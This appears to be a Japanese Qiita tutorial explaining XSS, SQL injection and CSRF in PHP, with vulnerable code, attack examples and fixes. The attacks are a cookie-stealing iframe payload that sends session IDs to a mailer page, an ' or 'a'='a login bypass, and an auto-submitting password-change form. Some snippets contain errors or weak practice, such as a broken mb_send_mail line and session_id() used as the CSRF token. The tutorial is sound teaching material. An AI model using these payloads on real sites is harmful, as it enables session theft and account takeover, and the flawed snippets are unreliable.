Help us understand the problem. What is going on with this article?

これだけは知っておきたい、セキュリティのまとめ

More than 3 years have passed since last update.

概要

WEBアプリケーションのセキュリティで特に大事な、XSS、SQLインジェクション、CSRFについて具体例とその対策を概説する。

対象

PHPとMySQLの基本(とJacaScriptをほんの少し)は知っているけど、セキュリティについてはあまり知識が無い方。

目次

  • 1 XSS(クロスサイト・スクリプティング)
  • 2 SQLインジェクション
  • 3 CSRF(クロスサイト・リクエストフォージェリ)

1. XSS(クロスサイト・スクリプティング)

具体例: クッキー値が盗み出される

原理

以下のphpスクリプトは、ログイン中のユーザーが入力したキーワードをブラウザに出力するというもの。

GETメソッドでkeywordを受け取る
<?php
  session_start();
  // ログインチェック(詳細略)
?>
<body>
<?php
  // 悪い例
  echo $_GET['keyword'];
?>
</body>

ここで、キーワードに以下のようなJavaScriptを埋め込むと、

クッキーを表示する
<script>alert(document.cookie)</script>

クッキーにセットされたセッションIDがアラート表示される。

実際の手口

実際には、こうした脆弱なサイトの利用者を、罠サイトに誘導する。

inframeで脆弱なサイトを埋め込んだ罠サイト
<body>
<iframe width=400 height=200 src="http://localhost/security/keyword.php?keyword=<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>">
</iframe>
</body>

該当部分だけを取り出したのが以下。

src="http://localhost/security/keyword.php?

keyword=

<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>"

この部分では、

  • 攻撃対象のurl("keyword.php")を指定して
  • keywordに情報を送信するためのurl("mail.php")を指定して
  • パラメタ部分に先に説明した攻撃(document.cookie)を仕込んでおく

ことにより、以下の情報収集サイトに飛び、

情報を収集するサイト
<?php
mb_language('Japanese');
$sid = $_GET['sid'];
mb_send_mail('test@gmail.com', '攻撃成功', 'セッションID:', . $sid, 'From: test@trap.exmaple.com');
?>
<body>
<p>攻撃成功。</p>
<?php echo $sid; ?>
</body>

攻撃者のメールアドレス、

test@gmail.com

に、セッションIDが送られてしまう。

XSSの攻撃方法まとめ

  1. 罠サイトのinframe内で、脆弱なサイトが表示される
  2. 脆弱なサイトはXSS攻撃により、クッキー値をクエリ一文字につけて、情報収集ページに遷移する
  3. 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する

対策: エスケープ処理

エスケープ処理を行う。PHPの場合、htmlspecialcharsという関数があるので、これを用いる。

具体的には、

悪い例
<?php
  echo $_GET['keyword'];
?>

この部分を、

良い例
<?php
// htmlspecialchar関数でエスケープ処理
$keyword = htmlspecialchars($_GET('keyword'), ENT_QUOTES, "UTF-8");

// $keywordを表示
echo $keyword;
?>

とする。

htmlspecialchars関数は「<」や「&」などの文字列を変換し、JacaScriptと認識されないようにする(エスケープ処理)。

余談

クロスサイトスクリプティングをCSSと書かないのは、スタイルシートのCSSと紛らわしいから。

2. SQLインジェクション

具体例: 認証を回避される

SQLインジェクションとは、SQLの呼び出し方に不備がある場合に発生する脆弱性である。
以下のphpスクリプトでは、正しいユーザーIDとパスワードを入力すると「ログイン成功」と表示される。

ログインするためのスクリプト
<?php
  // sessions/new.phpから受け取る
  $email = $_POST['email'];
  $password = $_POST['password'];

  //データベースに接続
  try {
    $dbh = new
    PDO('mysql:host=127.0.0.1;dbname=security','your_db_user_name','your_db_password');
  } catch (PDOException $e) {
    var_dump($e->getMessage());
    exit;
  }

  // 当該emailとpasswordのレコードを取得し変数$recに格納
  // 悪い例
  $stmt = $dbh->prepare("select * from users where email = '$email' and password = '$password'");
  $stmt->execute();
  $rec = $stmt->fetch(PDO::FETCH_ASSOC);

  // データベースとの接続を終了
  $dbh = null;

  // レコードを取得できた場合には、"ログイン成功"と表示される
  if($rec != false) {
    $_SESSION['user_id'] = $rec['id'];
    echo "ログイン成功";
  } else {
    echo "ログイン失敗";
  }
?>

ここで問題となるのは以下のSQL文で、

当該メールアドレスとパスワードのユーザーを検索
select * from users where email = '$email' and password = '$password'

フォームのpasswordのところに、

' or 'a' = 'a

を入力すると(emailは'hoge@test.com'として)、

パスワードの条件が常に真となるSQL文
SELECT * FROM users WHERE email = 'hoge@test.com' and password = '' or 'a' = 'a'

となり、where句以下が常に真となってしまい、正しいパスワードを知らなくてもログイン出来てしまう。

対策: プレースホルダを使う

以下のように、変数を受け取る部分を「?」や「:password」(これをプレースホルダという)として、

SELECT * FROM users WHERE email = ? and password = ?

この部分に、以下のようにパラメータを渡す形式にする。

sessions/create.php
<?php
  // 良い例 => プレースホルダを利用(名前付きプレースホルダの例)
  $stmt = $dbh->prepare("select * from users where email = :email and password = :password");
  $stmt->bindParam(":email",$email);
  $stmt->bindParam(":password",$password);

  // 実行
  $stmt->execute();
  $rec = $stmt->fetch(PDO::FETCH_ASSOC);
?>

これで先のようなリクエストが来ても、危険なSQL文が生成されることはない。

3. CSRF(クロスサイト・リクエストフォージェリ)

具体例: パスワードが変更されてしまう

以下のスクリプトは、ログイン中のユーザーが自分のパスワードを変更できる。

アカウント内容を編集する
<?php
  session_start();
  // ログイン処理(省略)
?>

<body>
  <form action="update.php" method=POST >
  新パスワード
  <input name="new_password" type="password">
  <input type="submit" value="パスワード変更">
</body>

新しいパスワードを入力すると、以下のファイルに飛び、

パスワードの更新
<?php
  session_start();
  // ログイン確認(省略)

  $user_id = $_SESSION['user_id'];
  $new_password = $_POST['new_password'];
  // パスワード処理 ユーザー$idのパスワードを$pwdに変更する(省略)

  echo "パスワードを変更しました。再度ログインしてください。";
?>

パスワードが変更されるものとする。

ここで、あるユーザーがパスワードを変更するための必要条件とは、

  • POSTメソッドでhoge.phpがリクエストされること
  • ログイン状態であること
  • POSTパラメータpwdとしてパスワードが指定されること

の3つ。そこで、以下の攻撃用サイトのphpスクリプトを見ると、

攻撃用サイト
<body onload="document.forms[0].submit()">
<form action="http://localhost/security/registrations/update.php" method="POST">
<input type="hidden" name="new_password" value="your_password_is_changed">
</form>

ログイン中のユーザーであれば、指定先のurlでアクションが行われ、そしてhiddenフォームで"your_password_is_changed"というパスワードが指定されているので、上記の条件を満たす。

つまりこの場合、攻撃用サイトにアクセスしただけで勝手に"your_password_is_changed"というパスワードに変更されてしまう。

対策: 秘密情報(トークン)の埋め込み

まず以下のように、

トークンを埋めた例
<?php
  session_start();
  // ログイン処理
?>

<body>
<form action="update.php" method=POST >
新パスワード
<input name="new_password" type="password">
<input type="hidden" name="token" value="<?php echo session_id(); ?>" >
<input type="submit" value="パスワード変更">
</body>

hiddenフォームでtokenを埋め込んでおき、これをlocate先のスクリプトで、

パスワードの更新
<?php
  // tokenの確認
  if (session_id() !== $_POST['token']) {
    die('正規の画面からご使用ください');
  }
?>

認証に失敗したら、「正規の画面からご使用ください。」と表示させる。

発展

解説した内容は、Railsを使っていると基本的に全て回避してくれる。
しかしそのような機能を「知らないうちに消していた」なんてことが無いよう、Railsがどのように回避しているのかは理解しておくと吉。

http://qiita.com/sutetotanuki/items/5eda6bbb5532dd64529a

finc
健康寿命を伸ばすアプリFiNCの開発・運営を行うモバイルヘルステクノロジーベンチャー
https://finc.com
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away